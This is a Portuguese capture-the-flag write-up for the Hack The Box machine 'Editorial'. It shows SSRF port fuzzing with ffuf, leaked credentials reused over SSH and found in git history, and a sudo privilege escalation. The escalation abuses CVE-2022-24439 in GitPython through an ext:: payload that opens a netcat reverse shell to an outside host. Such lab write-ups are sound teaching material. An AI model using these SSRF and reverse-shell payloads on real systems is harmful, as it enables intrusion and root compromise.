Primeiramente, devemos adicionar o conteúdo DNS no /etc/hosts
com
echo "10.10.11.20 editorial.htb" >> /etc/hosts
Assim, podemos entrar no sistema para conhecer um pouco a interface.
Na aba publish with us, /upload
, existe uma implementação interessante que podemos tentar explorar:
Essa funcionalidade, é possível passar um arquivo ou uma URL de um arquivo de imagem (ou qualquer outra coisa) que, posteriormente, poderá ser utilzada como foto de um livro. Em especial, podemos tentar ver se existe um Server-Side Request Forgery. Para isso, utilizaremos o ffuf nessa funcionalidade para tentar mapear alguma porta, realizando um brute force no parâmetro http://127.0.0.1:FUZZ
.
seq -w 0 65535 >> ports.txt
ffuf -w ports.txt:FUZZ -u http://editorial.htb/upload-cover -r request.txt
O que é o
request.txt
?Como a requisição gerada é realizada através do
Content-Type: multipart/form-data
, passar o documento da requisição HTTP foi a maneira mais fácil que eu encontrei de realizar o fuzzing.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/0x6a70/htb/editorial/ports.txt
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate
:: Header : Content-Type: multipart/form-data; boundary=---------------------------413496513139118819852497554258
:: Header : Connection: keep-alive
:: Header : Host: editorial.htb:80
:: Header : Accept: */*
:: Header : Referer: http://editorial.htb/upload
:: Header : Priority: u=0
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0
:: Header : Origin: http://editorial.htb
:: Data : -----------------------------413496513139118819852497554258
Content-Disposition: form-data; name="bookurl"
http://localhost:FUZZ
-----------------------------413496513139118819852497554258
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------413496513139118819852497554258--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 61
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 189ms]
Como podemos ver, a porta 5000
está aberta e retornando algum conteúdo. Verificando esse conteúdo, podemos ver que existe um mapa da API em desenvolvimento do sistema.
curl http://editorial.htb/static/uploads/acdb8dcc-a8d7-4002-bcbe-7f466bca3c0e -o output.txt
cat output.txt
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
Como podemos notar, existem diversos pontos que podemos explorar. Ao tentar acessar o /api/latest/metadata/messages/authors
, conseguimos uma informação muito importante.
curl http://editorial.htb/static/uploads/50a4f42f-3a6a-4c93-91ce-be212b592a65 -o output.txt
cat output.txt
{"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Quanto temos uma usuário e uma senha, uma coisa que podemos tentar fazer é conectar no SSH da máquina.
ssh dev@10.10.11.20
The authenticity of host '10.10.11.20 (10.10.11.20)' cant be established.
dev@10.10.11.20s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Aug 9 12:07:27 PM UTC 2024
System load: 0.06 Processes: 231
Usage of /: 60.9% of 6.35GB Users logged in: 1
Memory usage: 13% IPv4 address for eth0: 10.10.11.20
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Jun 10 09:11:03 2024 from 10.10.**.**
dev@editorial:~$
Logo aqui, já conseguimos a flag do usuário. Agora, falta a flag do root
dev@editorial:~$ cat user.txt
014e3a0afd<...SNIP...>
Olhando os arquivos do usuário dev
, podemos ver que existe uma pasta chamada apps
. Dentro dessa pasta (aparentemente vazio), existe o diretório .git
, o que possibilita a restauração de arquivos anteriormente existentes do sistema. Para isso, vamos analisar os logs do git
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
<...SNIP...>
O commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
nos chama atenção. Podemos dar uma olhada nessa versão do sistema em busca de alguma informação útil. Para voltar para essa versão, vamos utilizar o comando:
dev@editorial:~/apps$ git revert b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Verificando o código fonte gerado, conseguimos achar novas credenciais:
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
Temos um novo usuário, e uma nova senha. Vamos, novamente, tentar se conectar via SSH a esse usuário.
ssh prod@10.10.11.20
prod@10.10.11.20s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Aug 9 12:22:41 PM UTC 2024
System load: 0.0 Processes: 229
Usage of /: 60.9% of 6.35GB Users logged in: 1
Memory usage: 13% IPv4 address for eth0: 10.10.11.20
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Aug 9 12:02:26 2024 from 10.10.14.62
prod@editorial:~$
Perfeito! Dessa vez, vamos checar as permissões de superusuário dessa conexão com sudo -l
.
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Interessante. Temos permissão para executar clone_prod_change.py
como root
. Vamos dar uma olhada nesse script.
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Essa implementação parece ser muito específica… Procurando um pouco sobre a versão do pacote git
, vemos que ele está vulnerável ao CVE-2022-24439. Assim, podemos conseguir um Remote Code Execution como root
e criar uma nova shell!
- Listner
ncat -lvnp 13378
- Host
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c busybox% nc% 10.10.14.3% 13378% -e% sh'`
Isso irá gerar uma Rerverse Shell no alvo, o que irá permitir que peguemos a flag de root.